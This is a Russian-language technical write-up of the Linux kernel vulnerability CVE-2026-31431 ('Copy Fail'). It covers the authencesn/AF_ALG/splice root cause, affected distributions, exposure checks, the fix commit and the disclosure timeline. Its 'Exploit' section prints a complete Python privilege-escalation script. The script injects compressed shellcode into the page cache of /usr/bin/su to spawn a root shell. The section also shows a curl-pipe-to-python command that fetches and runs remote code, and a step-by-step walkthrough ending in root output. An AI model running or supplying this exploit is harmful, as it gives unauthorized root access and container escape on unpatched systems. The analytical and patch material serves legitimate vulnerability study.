
Структурированное объяснение CVE-2026-31431 (Copy Fail), связывающее три изменения ядра, которые ввели уязвимость и позволили ее эксплуатировать.
Логическая ошибка в authencesn, передаваемая через AF_ALG и splice(), приводящая к контролируемой записи 4 байтов в кэш страниц любого читаемого файла в системе. Нет состояния гонки, нет смещений, нет скомпилированного полезного груза. Тот же самый скрипт размером 732 байта получает root на каждом дистрибутиве Linux, начиная с 2017 года.
CVE-2026-31431 - Ошибка копирования — это логическая ошибка в криптографическом шаблоне authencesn ядра Linux. Она позволяет непривилегированному локальному пользователю выполнить контролируемую запись 4 байтов в кэш страниц любого читаемого файла в системе, не изменяя файл на диске.
Ошибка не существует ни в одном из трех компонентов по отдельности. Она возникает из их взаимодействия:``` 2011 ────────────────────────────────────────────────────────────────────── - authencesn added to the kernel (a5079d084f8b). - Uses the caller's destination scatterlist as scratch space. - Reorder ESN bytes before HMAC computation. - Only caller: internal xfrm layer. Harmless.
2015 ────────────────────────────────────────────────────────────────────── - algif_aead.c gains AEAD support with splice() path (104880a6b470). - splice() can deliver page cache pages to the TX scatterlist. - AF_ALG uses out-of-place operation: req->src != req->dst. - Page cache pages remain read-only. Not exploitable.
2017 ────────────────────────────────────────────────────────────────────── - In-place optimization in algif_aead.c (72548b093ee3). - Copies AAD+CT to RX buffer but chains authentication tag pages via sg_chain(). - Sets req->src = req->dst. - Page cache pages now reside in WRITABLE dst. - authencesn writes past boundary → page cache corruption.
2026 ────────────────────────────────────────────────────────────────────── - Copy Fail - CVE-2026-31431. Discovered by Theori / Xint Code. - Exploitable across all distros since 2017.
---
---
---
<div id='root-cause'/>
## ***🧬 Анализ первопричин***
<div id='primitive'/>
### ***Примитив AF_ALG + splice()***
AF_ALG (*[AF_ALG = 38](https://docs.kernel.org/crypto/userspace-if.html#user-space-api-general-remarks)*) — это тип сокета, который предоставляет криптографический API ядра непривилегированному пользовательскому пространству. Непривилегированный процесс может:
1. Открыть сокет AF_ALG / SOCK_SEQPACKET.
2. Выполнить bind() к любому доступному шаблону AEAD, предоставляемому криптографическим API ядра.
3. Установить криптографический ключ через setsockopt(SOL_ALG, ALG_SET_KEY, ...) на настроенном алгоритме.
4. Вызвать accept() для получения выделенного сокета операций, который будет обрабатывать запросы на шифрование и дешифрование.
5. Отправлять подготовленные данные с помощью sendmsg() и получать обработанный результат через recvmsg(), полностью взаимодействуя с криптографической подсистемой ядра.
Он включён по умолчанию в конфигурации ядра всех основных дистрибутивов (CONFIG_CRYPTO_USER_API_AEAD=y).
**[splice(2)](https://man7.org/linux/man-pages/man2/splice.2.html)** передаёт данные между файловыми дескрипторами без копирования — он передаёт ссылки на страницы, а не копии. Соответствующий поток:```
open("/usr/bin/su") -> fd_file
pipe() -> pipe_rd, pipe_wr
# moves N bytes from the file into the pipe
# the pipe buffer now contains a reference to the same physical page in the page cache
splice(fd_file, pipe_wr, N)
# delivers that reference to the AF_ALG socket
# the TX scatterlist of algif_aead now points to the page cache page of /usr/bin/su
splice(pipe_rd, alg_fd, N)
TX-список разброса (scatterlist) сокета AF_ALG содержит прямые ссылки на те же физические страницы, которые используются ядром для каждого read(), mmap() и execve() файла. Копирование не выполняется.
Коммит 72548b093ee3, algif_aead.c. Для расшифровки реализация:
In-place operation: RX SGL (req->dst): [ user buffer: AAD (copy) || CT (copy) ] --sg_chain--> [ Tag (page cache pages) ] req->src = req->dst = RX SGL
Result: page cache pages from /usr/bin/su are now part of the WRITABLE scatterlist passed to the crypto algorithm.
<div id='authencesn'/>
### ***Выход за границы записи в authencesn***
authencesn — это обёртка ядра AEAD, используемая IPsec с расширенными порядковыми номерами (RFC 4303). IPsec использует 64-битные порядковые номера:
- seqno_hi — старшие 32 бита (байты 0-3 AAD)
- seqno_lo — младшие 32 бита (байты 4-7 AAD)
Только seqno_lo передаётся по сети; seqno_hi является неявным контекстом. Для вычисления HMAC authencesn необходимо переставить эти байты: seqno_hi в начале и seqno_lo в конце хэш-входа.
Оно выполняет эту перестановку, используя целевой scatterlist вызывающего объекта в качестве рабочего пространства:```c
/* crypto/authencesn.c - crypto_authenc_esn_decrypt() */
// [1] Read bytes 0-7 of the AAD from dst
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);
// [2] Overwrite dst[4..7] with seqno_hi (temporary modification for HMAC)
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
// [3] *** THE BUG ***
// Writes seqno_lo at dst[assoclen + cryptlen]
// This offset is AFTER the authentication tag - outside the legitimate AEAD output region.
// authencesn uses this position as scratch space and NEVER restores the original bytes.
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
Вызов [3] записывает 4 байта в dst[assoclen + cryptlen]. Контракт вывода API AEAD для расшифровки — это AAD || открытый текст — ровно assoclen + (cryptlen - authsize) байт. assoclen + cryptlen находится за пределами тега аутентификации. authencesn записывает в память, которой не владеет.
crypto_authenc_esn_decrypt_tail() считывает seqno_lo обратно для восстановления правильного AAD, но никогда не восстанавливает исходные байты в dst[assoclen + cryptlen]. Перезапись является постоянной, независимо от того, успешна проверка HMAC или нет.
Ни один другой стандартный алгоритм AEAD в ядре не ведет себя подобным образом. GCM, CCM и стандартный authenc строго ограничивают свои записи легитимной областью вывода.
В пути in-place после 2017 года в algif_aead список разброса (scatterlist), передаваемый как req->dst в authencesn, имеет следующую структуру:``` req->dst: [ RX buffer (user memory) ] [ Tag region (page cache pages) ] [ AAD (copy) || CT (copy) ] [ from /usr/bin/su ] [<---- assoclen + cryptlen bytes --->] [<--- sg_chain from TX SGL ---->] ^ authencesn writes here: dst[assoclen + cryptlen] = seqno_lo (4 bytes controlled by the attacker)
scatterwalk_map_and_copy не имеет понятия о владении страницами, он просто отображает любую страницу, на которую указывает scatterlist, через kmap_local_page и записывает в неё. При наличии страниц кэша страниц в req->dst он отображает кэшированную страницу "/usr/bin/su" и записывает seqno_lo напрямую в копию файла в памяти ядра.
HMAC вычисляется по переупорядоченным байтам и терпит неудачу (шифротекст контролируется атакующим). recvmsg() возвращает ошибку. Запись 4 байт в кэш страниц сохраняется.
---
<div id='scatterlist'/>
### ***Проход по scatterlist в страницы кэша страниц***```c
struct scatterlist {
unsigned long page_link; // physical page + flags (SG_END, SG_CHAIN)
unsigned int offset; // offset within the page
unsigned int length; // bytes in this entry
};
// sg_chain(sgl_a, nents_a, sgl_b):
// sgl_a[nents_a-1].page_link |= SG_CHAIN;
// sgl_a[nents_a-1].page_link = (unsigned long)sgl_b;
// the last entry of sgl_a now points to the beginning of sgl_b
RX SGL (req->dst) after in-place construction:
entry[0]: page=user_buf_page, offset=0, length=assoclen (AAD copied)
entry[1]: page=user_buf_page, offset=assoclen, length=cryptlen-4 (CT copied)
entry[2]: SG_CHAIN -> TX SGL entry[2]
|
v
page = page_cache_page_of_/usr/bin/su
offset = <tag offset within the file>
length = authsize (= 4)
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1):
offset_within_sgl = assoclen + cryptlen
-> walks past entry[0] (assoclen bytes)
-> walks past entry[1] (cryptlen-authsize bytes)
-> reaches entry[2]: offset_within_entry = 0
-> kmap_local_page(page_cache_page_of_su)
-> memcpy(mapped_page + page_offset, tmp+1, 4) <- WRITE INTO PAGE CACHE
-> kunmap_local(mapped_page)
Страница никогда не помечается как грязная (SetPageDirty / mark_page_accessed не вызываются на этом пути). Механизм обратной записи ядра не сбрасывает её на диск. Файл на диске остаётся неизменным.
Примитив управляемой записи 4 байт в page cache превращается в полное локальное повышение привилегий (LPE):
Итеративно записывая по 4 байта, злоумышленник может внедрить shellcode в секцию .text setuid-бинарника в page cache. execve() загружает из page cache, поэтому изменённый бинарник выполняется с UID 0.
Page cache является общим для всего хоста, включая все контейнеры. Copy Fail — это не просто локальное LPE, это примитив для побега из контейнера и вектор компрометации узла Kubernetes.
| Среда | Риск | Результат |
|---|---|---|
| Мультитенантные хосты Linux | Критический | Любой пользователь → root |
| Kubernetes / контейнеры | Критический | Pod → хост, кросс-тенантный |
| CI-раннеры (недоверенные PR) | Критический | PR → root на раннере |
| Cloud SaaS, выполняющий пользовательский код | Критический | Тенант → root на хосте |
| Однопользовательские серверы | Высокий | Внутреннее LPE; цепочка с веб-RCE |
| Однопользовательские рабочие станции | Средний | Пост-эксплуатационное повышение привилегий |
Любая Linux-система, работающая на ядре, собранном между 2017 годом и исправлением, с включённым AF_ALG в конфигурации по умолчанию, что фактически включает все основные дистрибутивы.
Непосредственно проверено Theori / Xint:
| Дистрибутив | Ядро |
|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
Другие дистрибутивы, использующие затронутые ядра (Debian, Arch, Fedora, Rocky, Alma, Oracle, встроенные системы), ведут себя идентично: ошибка находится в общей подсистеме криптографии, а не в патчах, специфичных для дистрибутивов.
Требования для эксплуатации:
uname -r
Если ядро было собрано в период с 2017 года до патча (коммит a664bf3d603d), система потенциально уязвима. Проверьте, присутствует ли патч:```bash
# Ubuntu / Debian
dpkg -l | grep linux-image
# RHEL / Fedora / Amazon Linux
rpm -q kernel
# SUSE
zypper se -s kernel-default
python3 -c " import socket try: s = socket.socket(38, 5, 0) s.close() print('[+] AF_ALG available - system potentially affected') except Exception as e: print(f'[-] AF_ALG not available: {e}') "
### ***3. Проверьте, загружен ли algif_aead***```bash
sudo modinfo algif_aead 2>/dev/null && echo "[+] algif_aead available" || echo "[-] algif_aead not found"
Следующий скрипт проверяет, доступен ли уязвимый путь. Он не выполняет никаких записей, а только проверяет доступность поверхности атаки:```python #!/usr/bin/env python3 """ Copy Fail (CVE-2026-31431) - Attack surface verification. Does not perform any writes. Only checks whether the vulnerable path is available. """ import socket import sys
def check_surface(): results = {}
# 1. Check if AF_ALG socket is available
try:
# AF_ALG, SOCK_SEQPACKET
s = socket.socket(38, 5, 0)
results['af_alg_socket'] = True
# 2. Try binding to authencesn (the vulnerable algorithm)
try:
s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
results['authencesn_available'] = True
except OSError as e:
results['authencesn_available'] = False
results['authencesn_error'] = str(e)
s.close()
except OSError as e:
results['af_alg_socket'] = False
results['af_alg_error'] = str(e)
# 3. Check if splice() is available
import os
results['splice_available'] = hasattr(os, 'splice')
print("\n=== Copy Fail CVE-2026-31431 - Surface Check ===\n")
for k, v in results.items():
marker = '[+]' if v is True else '[-]' if v is False else '[i]'
print(f" {marker} {k}: {v}")
if results.get('af_alg_socket') and results.get('authencesn_available') and results.get('splice_available'):
print("\n [!] SURFACE AVAILABLE - system exposes the full attack surface.")
print(" Verify whether the kernel includes patch a664bf3d603d.")
else:
print("\n [OK] Surface mitigated or not available.")
if name == "main": check_surface()
---
<div id='exploit'/>
## ***💣 Эксплойт***
Этот эксплойт был первоначально выпущен Theori / Xint Code вместе с публичным раскрытием 29 апреля 2026 года.
- **SHA256:** a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9`
- **Официальный репозиторий:** [github.com/theori-io/copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)
- **Требования:** Python 3.10+, затронутое ядро, AF_ALG включён.```python
#!/usr/bin/env python3
# Copy Fail - CVE-2026-31431
# Original: Theori / Xint Code - https://copy.fail/
# sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
# Requirements: Python 3.10+ (os.splice), affected kernel (2017-2026), AF_ALG enabled.
# Default target: /usr/bin/su (any readable setuid binary works).
# The page cache write is NOT persistent - it is reverted on the next reboot.
import os as g, zlib, socket as s
def d(x):
return bytes.fromhex(x)
def c(f, t, c):
# Open AF_ALG socket and bind to authencesn(hmac(sha256),cbc(aes))
a = s.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279 # SOL_ALG
v = a.setsockopt
v(h, 1, d('0800010000000010' + '0' * 64)) # ALG_SET_KEY
v(h, 5, None, 4) # ALG_SET_AUTHSIZE = 4
u, _ = a.accept()
o = t + 4
i = d('00')
# sendmsg: AAD = seqno_hi (4 bytes) || seqno_lo (4 bytes = payload to write)
# authencesn writes seqno_lo into dst[assoclen+cryptlen] -> page cache
u.sendmsg(
[b"A" * 4 + c], # AAD: seqno_hi=0x41414141, seqno_lo=payload
[
(h, 3, i * 4), # ALG_SET_IV
(h, 2, b'\x10' + i * 19), # ALG_SET_OP=DECRYPT + params
(h, 4, b'\x08' + i * 3), # ALG_SET_AEAD_AUTHSIZE
],
32768 # MSG_SENDPAGE_NOTLAST
)
# splice: delivers page cache pages from the target file into the AF_ALG socket
# The TX SGL of the socket will point directly to page cache pages
r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0) # file -> pipe (reference to page cache page)
n(r, u.fileno(), o) # pipe -> AF_ALG socket (TX SGL points to page cache)
# recv: triggers decrypt in the kernel
# authencesn performs the scratch write -> 4 bytes written into the page cache
# recvmsg() returns error (HMAC fails - attacker-controlled ciphertext), write persists
try:
u.recv(8 + t)
except:
0
# Open target binary (readable by any user)
f = g.open("/usr/bin/su", 0)
# zlib-compressed shellcode - patches /usr/bin/su in the page cache
i = 0
e = zlib.decompress(d(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d"
"209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675"
"c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))
# Iterate in 4-byte chunks: each iteration performs a controlled write into the page cache
while i < len(e):
c(f, i, e[i:i+4])
i += 4
# Execute the patched binary in memory - runs as UID 0
g.system("su")
curl https://copy.fail/exp | python3
python3 copy_fail_exp.py
python3 copy_fail_exp.py /usr/bin/passwd
id
---
---
---
<div id='walkthrough'/>
## ***🔬 Эксплуатация уязвимости***
<div id='step1'/>
### ***Шаг 1 - Настройка сокета***```python
# AF_ALG=38, SOCK_SEQPACKET=5
a = socket.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
Выбран шаблон authencesn - единственный алгоритм AEAD в ядре, который записывает за пределы своей законной выходной области. Этот выбор является преднамеренным: GCM, CCM и стандартный authenc не вызывают ошибку.```python a.setsockopt(SOL_ALG, ALG_SET_KEY, key) # arbitrary 32-byte key a.setsockopt(SOL_ALG, ALG_SET_AUTHSIZE, 4) # authsize = 4 bytes u, _ = a.accept() # operation socket
ALG_SET_AUTHSIZE = 4 устанавливает размер тега аутентификации. Это значение напрямую управляет тем, куда попадает dst[assoclen + cryptlen] относительно области тега в scatterlist, и, следовательно, какое смещение внутри страницы кэша страниц будет перезаписано.
<div id='step2'/>
### ***Шаг 2 - Создание записи***
Для каждого 4-байтового блока полезной нагрузки:```python
# AAD = 8 bytes: seqno_hi (bytes 0-3) || seqno_lo (bytes 4-7)
# seqno_lo = the 4 bytes we want to write into the page cache
aad = b"\x41\x41\x41\x41" + payload_chunk_4bytes
u.sendmsg([aad], [cmsg_headers], MSG_SENDPAGE_NOTLAST)
Байты 4-7 AAD (seqno_lo) - это именно те 4 байта, которые authencesn записывает в dst[assoclen + cryptlen]. Злоумышленник формирует их с желаемым значением полезной нагрузки.
Смещение файла управляется через параметры splice:```python
o = t + 4 r, w = os.pipe() os.splice(target_fd, pipe_wr, o, offset_src=0) # offset_src=0, length=o os.splice(pipe_rd, alg_fd, o)
<div id='step3'/>
### ***Шаг 3 — Запуск записи в кеш страниц***```python
try:
u.recv(8 + t)
except:
pass # recvmsg() returns EBADMSG/EINVAL - HMAC fails. Expected.
The recv() call triggers the decrypt operation inside the kernel. The recvmsg() error is expected and irrelevant. The page cache write has already occurred.
После перебора всех фрагментов полезной нагрузки:``` os.system("su")
execve("/usr/bin/su"):
1. Ядро загружает бинарный файл из кеша страниц.
2. Кешированная страница содержит внедренный шелл-код (файл на диске не изменяется).
3. /usr/bin/su является setuid-root: процесс запускается с эффективным UID 0.
4. Шелл-код порождает root-оболочку.```
$ python3 copy_fail_exp.py
# id
uid=0(root) gid=1002(xint) groups=1002(xint)
Все три относятся к одному классу атак: запись в page cache из непривилегированного пользовательского пространства, без изменения файла на диске, для получения привилегий через setuid-бинарник. Их механизмы и ограничения существенно различаются.
Состояние гонки в пути copy-on-write (COW) подсистемы виртуальной памяти. Требовалось выиграть окно TOCTOU, множество попыток, переменная надежность, occasional crashes. Ядра 2.6.22 - 4.8.3.
Злоупотребление флагом PIPE_BUF_FLAG_CAN_MERGE в буферах каналов для слияния контролируемых злоумышленником данных в page cache. Детерминированно, но зависит от версии (ядро ≥ 5.8 с определенными патчами).
Непосредственная логическая ошибка. Нет состояния гонки, нет смещений для каждого дистрибутива, нет скомпилированного эксплойта. Python-скрипт размером 732 байта, использующий только стандартную библиотеку, получает root во всех основных дистрибутивах с 2017 по 2026 годы.
| Dirty Cow | Dirty Pipe | Copy Fail | |
|---|---|---|---|
| Механизм | Состояние гонки (COW) | Злоупотребление флагом канала | Логика AEAD + scatterlist |
| Требует гонки | Да | Нет | Нет |
| Надежность | 30-80% | Высокая | 100%, однократно |
| Диапазон ядер | 2.6.22-4.8.3 | ≥5.8 (определенные) | 2017-2026 (~9 лет) |
| Смещения по дистрибутивам | Да | Некоторые | Нет |
| Скомпилированный эксплойт | Да | Нет | Нет |
| Побег из контейнера | Нет | Нет | Да |
Основной коммит a664bf3d603d исправляет 72548b093ee3 (оптимизация на месте 2017 года)
Патч возвращает algif_aead.c к работе не на месте. req->src и req->dst снова становятся отдельными scatterlist. Страницы page cache, доставленные через splice(), остаются в read-only TX SGL (req->src). RX-буфер - единственная память, в которую разрешено писать криптоалгоритму - это буфер recvmsg пользователя (req->dst). Механизм sg_chain(), который ранее связывал tag-страницы (page cache) с доступными для записи целевыми, удалён.```c /* BEFORE (vulnerable) - req->src = req->dst, page cache pages in dst / aead_request_set_crypt(&areq->cra_u.aead_req, areq->first_rsgl.sgl.sgt.sgl, / RX SGL as src / areq->first_rsgl.sgl.sgt.sgl, / RX SGL as dst (same!) */ used, ctx->iv);
/* AFTER (fix) - separate scatterlists / aead_request_set_crypt(&areq->cra_u.aead_req, tsgl_src, / TX SGL as src (may contain page cache pages) / areq->first_rsgl.sgl.sgt.sgl, / RX SGL as dst (user buffer only) */ used, ctx->iv);
The commit message states: "There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings."
---
---
---
<div id='timeline'/>
## ***📅 График раскрытия***
| Дата | Событие |
|------------|------------------------------------------------------------|
| 2026-03-23 | Уязвимость сообщена команде безопасности ядра Linux |
| 2026-03-24 | Получено первоначальное подтверждение |
| 2026-03-25 | Патчи предложены и рассмотрены |
| 2026-04-01 | Патч зафиксирован в основной ветке (a664bf3d603d) |
| 2026-04-22 | Назначен CVE-2026-31431 |
| 2026-04-29 | Публичное раскрытие, [copy.fail](https://copy.fail/) |
**Обнаружено:** Taeyang Lee из [Theori](https://theori.io/) / [Xint Code](https://xint.io/)
---
---
---
<div id='references'/>
## ***📚 Ссылки***
- **[NVD - CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431)**
> Запись в Национальной базе данных уязвимостей (NVD).
- **[Copy Fail - Официальное раскрытие](https://copy.fail/)**
> Страница с часто задаваемыми вопросами, затронутыми дистрибутивами, смягчением и PoC.
- **[Блог Theori / Xint - Полное описание](https://xint.io/blog/copy-fail-linux-distributions)**
> Корневая причина, диаграммы scatterlist, историческая цепочка (2011→2015→2017) и описание эксплуатации.
- **[GitHub Theori - copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)**
> Официальный репозиторий, содержащий PoC.
- **[Коммит a664bf3d603d - исправление](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a664bf3d603d)**
> Отменяет оптимизацию на месте в algif_aead.
- **[Коммит 72548b093ee3 - корневая причина (2017)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=72548b093ee3)**
> Вводит оптимизацию на месте, которая поместила страницы кэша страниц в доступный для записи приемник.
- **[Коммит a5079d084f8b - введение authencesn (2011)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a5079d084f8b)**
> Исходный коммит, добавляющий authencesn, устанавливающий шаблон временной записи.
- **[Коммит 104880a6b470 - миграция authencesn в API AEAD (2015)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=104880a6b470)**
> Вводит смещение assoclen + cryptlen, которое записывает за пределами легитимной области.
- **[CVE-2016-5195 - Dirty Cow](https://dirtycow.ninja/)** · **[CVE-2022-0847 - Dirty Pipe](https://dirtypipe.cm4all.com/)**
> Предшествующие работы в классе повреждения кэша страниц / локального повышения привилегий (LPE).